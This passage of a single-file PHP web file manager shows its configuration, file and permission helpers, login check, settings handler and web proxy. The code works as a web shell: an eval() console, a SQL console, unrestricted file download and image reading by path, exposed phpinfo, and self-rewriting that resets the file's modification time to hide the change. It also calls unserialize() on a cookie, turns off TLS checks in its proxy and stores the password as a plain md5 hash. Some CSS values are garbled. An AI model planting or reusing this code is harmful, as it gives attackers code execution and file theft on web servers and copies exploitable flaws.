	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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